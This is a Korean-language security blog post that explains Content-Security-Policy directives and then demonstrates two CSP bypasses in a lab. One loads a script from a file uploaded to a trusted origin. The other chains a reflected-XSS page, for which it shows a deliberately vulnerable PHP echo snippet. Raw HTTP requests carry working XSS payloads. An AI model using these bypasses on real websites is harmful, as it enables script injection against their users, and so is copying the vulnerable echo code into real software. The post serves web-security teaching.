본문 바로가기
Hack/Web

CSP(Content-Security-Policy) Bypass

by Becoming a Hacker 2022. 6. 15.
반응형

CSP(Contnet-Security-Policy)란

CSP(Contnet-Security-Policy)는 웹에서 사용되는 콘텐츠(이미지 태그, 스크립트 등)에 대한 정책으로 XSS와 같은 특정 유형의 공격을 감지하고 완화하는데 도움이 되는 보안 정책 입니다.

 

XSS 공격은 서버에서 받은 콘텐츠를 무조건적으로 신뢰하는 브라우저의 특성을 악용하여 악성 스크립트가 피해자의 브라우저에서 실행되도록 하는 공격입니다. 그런데 CSP를 사용하게 되면 브라우저가 신뢰할 수 있는 출처를 설정할 수 있어 신뢰되는 출처에서 수신받은 스크립트만을 실행하도록 하여 일부 XSS 공격을 방지할 수 있습니다. 또한, 모든 콘텐츠가 HTTPS를 이용하여 로드하도록 지정할 수도 있습니다.

 

과거에는 CSP로 사용되는 헤더들이 여러 개 존재했는데 현재는 W3C에서 지정한 "Content-Security-Policy"를 대부분 사용하고 있습니다.

 

CSP 사용 방법

CSP는 HTTP 헤더를 다음과 같이 구성하여 사용할 수 있습니다.

 

기본 구조

Content-Security-Policy: policy

 

사용되는 속성 정리

default-src : 모든 리소스에 대한 정책

script-src : 스크립트 태그에 대한 정책

img-src : 이미지 태그에 대한 정책

media-src : video 및 audio 태그에 대한 정책

frame-src : frame 태그에 대한 정책

report-uri : 정책 위반 사항이 나타났을 때 내용을 전달할 URL

 

사용되는 값 정리

none : 아무것도 일치하지 않음

self : 하위 도메인을 제외한 현재 출처와 일치함

unsafe-inline : 내부 javascript 및 CSS를 허용함

- "script-src 'nonce-111111'"의 경우 <script nonce='111111'>만 허용함

unsafe-eval : eval과 같은 특정 함수를 차단하지 않음

- eval()
- Function()

- window.setTimeout()

- window.setInterval()

- window.setImmediate()

- window.execScript

 

사용 예

1. 하위 도메인을 제외한 자체 출처의 콘텐츠만 사용 가능

Content-Security-Policy: default-src 'self'

 

2. 특정 도메인(trusted.com)의 콘텐츠만 사용 가능

Content-Security-Policy: default-src 'self' trusted.com

 

3. 특정 도메인(trusted.com)과 하위 도메인의 콘텐츠만 사용 가능

Content-Security-Policy: default-src 'self' trusted.com *.trusted.com

 

4. 특정 태그의 출처 제한

- img Tag는 모든 출처에서 사용 가능

- media 관련 Tag는 media.com 출처만 사용 가능

- script Tag는 userscripts.example.com 출처만 사용 가능

Content-Security-Policy: default-src 'self'; img-src *; media-src media.com; script-src userscripts.example.com

 

5. 공격자의 도청을 방지하기 위해 TLS를 사용할 경우에만 콘텐츠 사용 가능

Content-Security-Policy: default-src https://onlinebanking.jumbobank.com

 

6. 위반 사항이 발견될 경우 보고서 전달하도록 설정

Content-Security-Policy: default-src 'self'; report-uri http://reportcollector.example.com/collector.cgi

 

CSP 우회 방법

CSP의 경우 어떻게 설정되어있냐에 따라서 이를 우회할 수 있는 방법이 달라집니다.

 

1. 신뢰하는 출처 내 파일 업로드를 이용한 우회

특정 도메인에 대한 출처가 허용된 CSP를 우회하는 가장 쉬운 방법은 신뢰되는 출처에 파일을 업로드 하는 것 입니다.

 

CSP Request 및 Response

GET /csp.php?vuln=<script>alert(123);</script> HTTP/1.1
Host: 10.41.80.155
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

 

HTTP/1.1 200 OK
Date: Wed, 15 Jun 2022 07:28:21 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Security-Policy: default-src 'self' 10.41.80.155:8080
Content-Length: 38
Connection: close
Content-Type: text/html; charset=UTF-8

Hellow CSP<script>alert(123);</script>

CSP 보안 정책

 

xss.txt

alert("Hack");

 

CSP Bypass Request 및 Response 

GET /csp.php?vuln=<script src="http://10.41.80.155:8080/xss.txt"></script> HTTP/1.1
Host: 10.41.80.155
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

 

HTTP/1.1 200 OK
Date: Wed, 15 Jun 2022 07:30:39 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Security-Policy: default-src 'self' 10.41.80.155:8080
Content-Length: 66
Connection: close
Content-Type: text/html; charset=UTF-8

Hellow CSP<script src="http://10.41.80.155:8080/xss.txt"></script>

CSP Bypass

반응형

 

2. 신뢰되는 출처 내 사용자 입력 값 반영을 통한 우회

신뢰되는 출처 내 사용자 입력 값이 반영되는 페이지(Reflected XSS, jsonp)가 있을 경우 해당 페이지를 이용하여 CSP를 우회할 수 있습니다. 다만, 사용자의 입력 값이 맨 앞에 위치할 경우에만 가능한 것으로 파악하고 있습니다.
※ 더미 데이터가 앞에 위치한 경우에도 스크립트가 실행되도록 구문을 짤 수 있다면 상관 없음 (이건 제 실력 문제로..)

 

localhost/xss.php

<?ph
echo($_GET['xss']."<h1>Reflected XSS</h1>");
?>

 

CSP Bypass Request 및 Response

GET /csp.php?vuln=http://10.41.80.155/csp.php?vuln=<script src="http://localhost/xss.php?xss=alert('hack');//"></script> HTTP 1.1
Host: 10.41.80.155
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

 

HTTP/1.1 200 OK
Date: Wed, 15 Jun 2022 08:07:42 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Security-Policy: default-src 'self' localhost
Vary: Accept-Encoding
Content-Length: 79
Connection: close
Content-Type: text/html; charset=UTF-8

Hellow CSP<script src="http://localhost/xss.php?xss=alert('hack');//"></script>

CSP Bypass

 

Reference

 

Content Security Policy (CSP) - HTTP | MDN

Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, including Cross-Site Scripting (XSS) and data injection attacks. These attacks are used for everything from data theft, to site defaceme

developer.mozilla.org

 

CSP(Content-Security-Policy) Bypass technique

⚠️ CSP Bypassing에 대한 기술은 Cullinan > XSS > Bypass CSP에 한번에 정리하고 관리합니다. 해당 글이 훨씬 최신이니 참고 부탁드려요! 오늘은 XSS 시 항상 우리의 발목을 잡는 보안정책인 CSP에 대한 이

www.hahwul.com

 

댓글